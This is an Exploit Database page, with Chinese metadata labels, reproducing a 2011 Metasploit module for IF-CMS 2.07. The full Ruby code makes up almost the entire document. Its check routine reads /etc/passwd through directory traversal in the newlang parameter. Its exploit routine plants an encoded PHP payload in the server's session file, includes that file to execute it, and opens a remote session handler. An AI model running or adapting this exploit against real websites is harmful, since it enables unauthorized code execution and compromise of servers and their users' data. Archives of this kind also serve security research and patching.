IF-CMS 2.07 – Local File Inclusion (Metasploit) (2)

• Exploit Database
• 18 阅读

• 作者： TecR0c
  日期： 2011-06-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17418/

• ##
  # $Id: if-cms.rb 2011-03-15 20:28:10 tecr0c $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  # -*- coding: utf-8 -*-
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ManualRanking
  
  	PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'IF-CMS',
  			'Description' => %q{
  					Local File Inclusion vulnerability within IF-CMS 2.07 which allows
  					remote attackers to include and execute arbitrary local files via a ../ at the newlang
  					parameter within the index.php page.
  			},
  			'Author'=> ['TecR0c'],
  			'License' => BSD_LICENSE,
  			'Version' => '$Revision: $',
  			'References'=>
  				[
  					['URL' => 'http://sourceforge.net/projects/if-cms/'],
  				],
  			'Payload' =>
  				{
  					# max header length for Apache (8190),
  					# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
  					# minus 23 for good luck (and extra spacing)
  					'Space' => 8190 - 23,
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'ConnectionType' => 'find',
  						},
  					'BadChars'=> "'\"`"# quotes are escaped by PHP's magic_quotes_gpc in a default install
  				},
  			'Targets'=> [['If-CMS 2.07', {}]],
  			'DefaultTarget'=> 0,
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'DisclosureDate' => 'March 15 2011'
  		))
  
  		register_options(
  			[
  				OptString.new('URI',[true, 'PHP file contains the vulnerable parameter', '/index.php']),
  				OptString.new('PATH', [true, 'Path where the php is stored', 'var/lib/php5/sess_!SESSIONID!']),
  			], self.class)
  	end
  
  	def check
  		urltotest = datastore['URI'] + "?newlang=" + ("../" * 8) + "etc/passwd%00"
  		target_code = 200
  
  		print_status "Attempting to POST to #{urltotest}"
  		response = send_request_cgi({'uri' => urltotest, 'method' => 'GET'})
  
  		unless defined? response
  			print_error 'Server did not respond to HTTP GET request'
  			return Exploit::CheckCode::Safe
  		end
  
  		code = response.code
  
  		unless code == target_code
  			print_error "Expected HTTP code #{target_code}, but got #{code}."
  			return Exploit::CheckCode::Safe
  		end
  
  		print_status "We received the expected HTTP code #{target_code}"
  
  		# We will need the cookie PHPSESSID to continue
  		cookies = response.headers['Set-Cookie']
  
  		# Make sure cookies were set
  		if defined? cookies and cookies =~ PHPSESSID_REGEX
  			print_status "We successfully sent a PHPSESSID of '#{$1}'"
  		else
  			print_error 'The server did not send us the cookie we were looking for'
  			return Exploit::CheckCode::Safe
  		end
  
  		# Check to see loca file inclusion is possible
  		if response.body =~ /root/
  			print_status "We were successfully able to validate gp_magic_quotes = Off"
  			return Exploit::CheckCode::Vulnerable
  		else
  			print_error 'The webserver seems to have gp_magic_quotes On'
  			return Exploit::CheckCode::Safe
  		end
  
  	end
  
  	def exploit
  		uri = datastore['URI']
  		# Prepare PHP file contents
  		encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")
  		urlpayload = datastore['URI'] + "?newlang=#{encoded_php_file}%00"
  
  		# Deliver the payload
  		print_status('Writing malicious payload to the remote server')
  		delivery_response = send_request_cgi({'uri' => urlpayload})
  
  		cookie = delivery_response.headers['Set-Cookie']
  
  		# Make sure cookie is set
  		if defined? cookie and cookie =~ PHPSESSID_REGEX
  			print_status "file containing payload is 'sess_#{$1}'"
  		else
  			print_error 'The server did not send us the cookie we were looking for'
  			return Exploit::CheckCode::Safe
  		end
  
  		# Make sure cookies were set
  		if cookie.nil?
  			raise RuntimeError, 'The server did not set any cookies'
  		end
  
  		# Contents of PHPSESSID. About to be set.
  		session_id = nil
  
  		# Retrieve the session id from PHPSESSID
  		if cookie =~ PHPSESSID_REGEX
  			session_id = $1
  		else
  			raise RuntimeError, 'The cookie PHPSESSID was not set.'
  		end
  
  		# The call should return HTTP code 200
  		if delivery_response.code != 200
  			raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"
  		end
  
  		# Prepare the value that will execute our payload
  		detonation = datastore['PATH'].sub('!SESSIONID!', session_id)
  
  		# Small delay as we're just going to assume we succeeded.
  		urlsession = datastore['URI'] + "?newlang=" + ("../" * 8) + "#{detonation}%00"
  		send_request_cgi({'uri' => urlsession,'method' => 'GET'}, 0.01)
  		handler
  	end
  end